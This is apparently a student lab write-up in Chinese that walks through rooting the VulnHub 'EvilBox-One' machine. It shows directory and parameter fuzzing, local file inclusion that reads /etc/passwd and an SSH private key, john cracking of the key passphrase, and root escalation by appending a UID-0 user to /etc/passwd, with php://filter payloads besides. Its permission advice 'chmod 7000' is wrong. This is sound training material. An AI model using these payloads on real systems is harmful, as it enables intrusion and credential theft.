网络攻防实战 第八次实验

邮箱:keekkewy@qq.com

2022年11月8日

靶机链接:https://vulnhub.com/entry/evilbox-one,736/

一、实验目的

取得目标靶机的 root 权限并获得两个 flag。

我们将使用到以下攻击手段:

  • 主机发现、端口扫描
  • 隐藏路径爆破
  • 参数名爆破
  • 文件包含漏洞的发现以及利用
  • SSH 登入
  • 私钥密码爆破
  • 特定权限文件的发现
  • 添加自定义用户记录

二、实验内容

kali: 10.0.2.15

靶机: 10.0.2.12

0x00. 准备工作

  1. 获取靶机 IP 并扫描其开放的端口以及个端口上对应的服务:

    1
    2
    $ sudo arp-scan -I eth0 -l
    $ sudo nmap -p- 10.0.2.12 -A
    image-20221108211601033
  2. 访问80端口发现是一个 Apache2 Debian 的默认页面,没有对渗透有帮助的信息:

    image-20221108211801201

0x01. 隐藏路径爆破

  1. 首先使用 dirsearch 进行路径爆破:

    image-20221108212228720

    找到了隐藏路径 /secret/ 和隐藏文件 robots.txt

    分别访问均没有获得有效信息。

    ps:robots.txt

  2. /secret/ 做进一步路径爆破:

    直接使用 dirsearch 由于字典限制无法找到更多信息,此处使用 gobuster 进行爆破。

    安装:apt install gobuster

    安装字典:apt install seclists

    渗透测试要尝试掌握多种工具

    使用指定字典进行路径爆破:

    1
    $ gobuster dir -u http://10.0.2.12/secret/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
    image-20221108213853527

    除了主页文件之外,还发现一个 PHP 文件 evil.php。直接通过 url 访问该文件发现只有一个空白页面,猜测可能需要通过 GET 方法提供一个参数(即在 url 后添加某个参数)。

0x02. 参数名爆破

使用 ffuf 工具对该参数键值对(参数名和对应的值)进行爆破:

  1. 首先期望存在命令注入漏洞:

    1
    $ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM  -u http://10.0.2.12/secret/evil.php?PARAM=ls -fs 0
    • 选择字典文件 burp-parameter-names.txt 作为参数名;
    • 命令 ls 作为参数值。

    进行爆破后,为获得有效结果,爆破失败。

  2. 期望存在文件包含漏洞:

    1
    $ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM  -u http://10.0.2.12/secret/evil.php?PARAM=../index.html -fs 0
    • 选择字典文件 burp-parameter-names.txt 作为参数名;
    • 已知存在的主页文件的路径作为参数值。
    image-20221108225352732

    爆破成功,结果显示需要提供的参数名为 command

  3. 查看靶机文件验证漏洞存在:

    1
    http://10.0.2.12/secret/evil.php?command=/etc/passwd

    查看返回页面源码:

    image-20221108225808433

    读取了靶机上的 /etc/passwd 文件,确认存在文件包含漏洞。

0x03. SSH 私钥密码爆破

  1. 通过分析上述文件内容,发现靶机中除 root 用户外还存在一个 mowree 用户拥有登录权限,其主目录为 /home/mowree.尝试获取其被允许的 SSH 登录方式:

    1
    $ ssh mowree@10.0.2.12 -v    # debug模式
    image-20221109091744345

    发现除了允许输入对应密码登录外还可以使用密钥登录。

  2. 通过文件包含漏洞查看靶机上该用户的私钥:

    1
    http://10.0.2.12/secret/evil.php?command=/home/mowree/.ssh/id_rsa
    image-20221109092317615

    将其保存在文件 id_rsa 中。

  3. 使用指定私钥登录靶机:

    1
    # ssh mowree@10.0.2.12 -i id_rsa

    发现需要输入私钥的密码:

    image-20221109093513763

    考虑对其进行爆破。

    如果出现报错:

    image-20221109093055156

    这是说密钥文件权限不能为0644,0644权限太开放了,要求你的密钥文件不能被其它用户读取。

    修改权限为7000即可:

    1
    $ chmod 7000 id_rsa

    参考:https://blog.csdn.net/Figure_hb/article/details/90754146

  4. 将密钥文件转换为 john 可用的 hash 文件:

    1
    # /usr/share/john/ssh2john.py ./id_rsa > id_rsa.hash
  5. 使用 john 进行爆破:

    1
    $ john id_rsa.hash --wordlist=rockyou.txt

    该字典文件可通过在 kali 上使用 locate 指令搜索得到

    image-20221109094836969

    成功获取私钥密码 unicorn

  6. 成功登入靶机:

    image-20221109095933335

0x04. 信息收集

  1. 查看当前目录下的文件,获取第一个 Flag:

    image-20221109100516303

    Flag1:56Rbp0soobpzWSVzKh9YOvzGLgtPZQ

  2. 当前用户路径下没有其他有价值的文件,在靶机上寻找用户可以写入的文件:

    1
    $ find / -perm -o+w -maxdepth 3 -print | grep -v /dev| grep -v /sys | grep -v /proc | grep -v /boot | grep -v /run > res.txt

    find指令的使用:https://blog.csdn.net/m0_46674735/article/details/112390027

    使用find命令按权限查找文件:https://www.iplayio.cn/post/596968725

    • -o+w:查找其他用户有写权限的文件,(由于期望目标文件所有者是 root,我们目前的用户相对 root 即为 other users);

    • -maxdepth:从根目录开始搜索的最大深度为3;

    • -print:将输出结果写入标准输出文件;

    • grep -v /dev| grep -v /sys | grep -v /proc | grep -v /boot | grep -v /run:

      忽略以上目录下的搜索结果;

    • > res.txt:将标准输出重定向为 res.txt 文件,即将筛选后的搜索结果保存在该文件中。

    查看搜索结果,发现 /etc/passwd 文件竟然可以被其他用户写入:

    image-20221109173321185
  3. 进一步验证:

    1
    $ ls /etc/passwd -al
    image-20221109173503185

    发现我们确实具有写权限。

    设想如果我们在其中插入一条具有 root 权限的密码自定义的用户记录,切换到我们自定义的用户即可获取 root 权限。

0x05. 自定义 root 用户

  1. 首先需要在 kali 上对我们自定义的密码进行加密。使用工具 openssl

    1
    $ openssl passwd

    这里我输入的明文密码为 test123image-20221109180626629

  2. 使用得到的密码密文,参照 passwd 文件中 root 用户的记录自定义一条用户记录:

    1
    test123:$1$5zwm/pYB$109Okt6Ql.GcBYi/z16xT1:0:0:root:/root:/bin/bash
  3. 将该记录追加在 /etc/passwd 文件中:

    1
    $ echo 'test123:$1$5zwm/pYB$109Okt6Ql.GcBYi/z16xT1:0:0:root:/root:/bin/bash' >> /etc/passwd
  4. 切换到用户 test123

    1
    $ su test123

    image-20221109181310735

    成功提权。

  5. 切换到 root 目录,发现第二个 Flag:

    image-20221109181455730

    Flag2:36QtXfdJWvdC0VavlPIApUbDlqTsBM

三、实验结果

  • Flag1:56Rbp0soobpzWSVzKh9YOvzGLgtPZQ

  • Flag2:36QtXfdJWvdC0VavlPIApUbDlqTsBM

  • root:

    image-20221109181310735

四、总结

  • 根据发现的端口首先通过浏览器访问靶机的80端口,发现没有有效信息,考虑隐藏路径爆破;
  • 使用 dirsearch 爆破到存在 /secret/ 路径,但是继续爆破无果。换用 gobuster 进行路径爆破,最终找到一个 PHP 文件 evil.php
  • 直接访问返回空白页,推测其可能需要一个参数,使用 ffuf 进行参数名的爆破,最终发现存在文件包含漏洞;
  • 通过文件包含漏洞查看文件 /etc/passwd,发现一个可以登录的用户 mowree。使用 ssh 尝试登录发现该用户还支持私钥认证登录;
  • 通过文件包含漏洞获取靶机对应路径下的私钥,并使用 john 对私钥密码进行爆破;
  • 成功登入靶机后,发现当前用户对 /etc/passwd 文件具有写权限,添加一个具有 root 身份的密码自定义的用户记录;
  • 使用我们自定义的密码切换至上述自定义用户,成功获取 root 权限。

五、思路拓展

  1. 对于一个文件包含漏洞,可以首先尝试有没有远程文件包含漏洞,如果有即可让其执行 kali 的 web 服务上的一句话木马或反弹 shell 等攻击脚本。(本次实验中不存在该漏洞)

  2. 也可以考虑先编码,再通过文件包含漏洞读出编码后的 PHP 代码,可以实现避免执行代码而是读取代码的内容。这里可以尝试将 evil.php 读出:

    1
    http://10.0.2.12/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
    • PD9waHAKICAgICRmaWxlbmFtZSA9ICRfR0VUWydjb21tYW5kJ107CiAgICBpbmNsdWRlKCRmaWxlbmFtZSk7Cj8+Cg==
  3. 通过 icyberchef 进行解码:

    1
    2
    3
    4
    <?php
    $filename = $_GET['command'];
    include($filename);
    ?>

    成功获取到 evil.php 的源码。

  4. 尝试进行写入,如果成功则可以通过此漏洞写入一句话木马脚本:

    1
    2
    http://10.0.2.12/secret/evil.php?command=php://filter/write=convert.base64-
    decode/resource=test.php&txt=MTIz
  5. 尝试访问预期生成的文件,发现返回404,说明该方法在当前靶机上不可用。但也是一种漏洞利用的好思路。